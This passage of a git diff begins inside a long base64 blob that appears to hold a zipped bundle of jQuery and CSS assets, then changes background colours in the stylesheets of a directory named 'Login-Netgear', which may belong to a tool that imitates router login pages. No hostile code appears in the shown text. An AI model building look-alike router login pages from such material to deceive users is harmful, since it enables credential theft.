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 +0ArOJNIBUEsFBgAAAAAJAAkAhwMAAOfpAQAAAA==" \ No newline at end of file diff --git a/locale/en_EN.pyc b/locale/en_EN.pyc new file mode 100644 index 0000000..efbb959 Binary files /dev/null and b/locale/en_EN.pyc differ diff --git a/sites/Login-Netgear/.DS_Store b/sites/Login-Netgear/.DS_Store new file mode 100644 index 0000000..91747eb Binary files /dev/null and b/sites/Login-Netgear/.DS_Store differ diff --git a/sites/Login-Netgear/css/.DS_Store b/sites/Login-Netgear/css/.DS_Store new file mode 100644 index 0000000..b07eabd Binary files /dev/null and b/sites/Login-Netgear/css/.DS_Store differ diff --git a/sites/Login-Netgear/css/mainpage.css b/sites/Login-Netgear/css/mainpage.css index 45a70d9..0b1554a 100644 --- a/sites/Login-Netgear/css/mainpage.css +++ b/sites/Login-Netgear/css/mainpage.css @@ -1,7 +1,7 @@ html, body { margin: 0; padding: 0; - background-color:#e5e5e5; + background-color:#FFFFFF; min-height:600px; } diff --git a/sites/Login-Netgear/css/menu.css b/sites/Login-Netgear/css/menu.css index 307f8da..c48d10a 100644 --- a/sites/Login-Netgear/css/menu.css +++ b/sites/Login-Netgear/css/menu.css @@ -13,7 +13,7 @@ body { border:0; border-top:0; font-size:14px; - background-color:#E5E5E5; + background-color:#FFFFFF; } .panes{ @@ -24,14 +24,14 @@ body { border:0; border-top:0; font-size:14px; - background-color:#E5E5E5; + background-color:#FFFFFF; } .basic-menu{ margin:0px; margin-left:10px; margin-top:20px; color:#4e4e4e; - background-color:#E5E5E5; + background-color:#FFFFFF; height:480px; width:200px; } @@ -41,7 +41,7 @@ body { margin-left:0px; height:30px; width:200px; - background-color:#E5E5E5; + background-color:#FFFFFF; background: url("../img/basic-white-button.gif") no-repeat left top; } @@ -58,7 +58,7 @@ body { text-decoration:none; color:#4e4e4e; font-weight:bold; - background-color:#E5E5E5; + background-color:#FFFFFF; padding-top:5px; } @@ -66,7 +66,7 @@ body { text-decoration:none; color:#4e4e4e; font-weight:bold; - background-color:#E5E5E5; + background-color:#FFFFFF; padding-top:5px; cursor:pointer; } @@ -76,7 +76,7 @@ body { margin-left:0px; height:30px; width:200px; - background-color:#E5E5E5; + background-color:#FFFFFF; background: url("../img/basic-green-button.gif") no-repeat left top; } @@ -93,7 +93,7 @@ body { text-decoration:none; color:#000000; font-weight:bold; - background-color:#E5E5E5; + background-color:#FFFFFF; padding-top:6px; } @@ -101,7 +101,7 @@ body { text-decoration:none; color:#000000; font-weight:bold; - background-color:#E5E5E5; + background-color:#FFFFFF; padding-top:6px; cursor:pointer; } @@ -111,7 +111,7 @@ body { margin-left:0px; height:30px; width:200px; - background-color:#E5E5E5; + background-color:#FFFFFF; background: url("../img/gray-button.gif") no-repeat; } @@ -130,7 +130,7 @@ body { text-decoration:none; 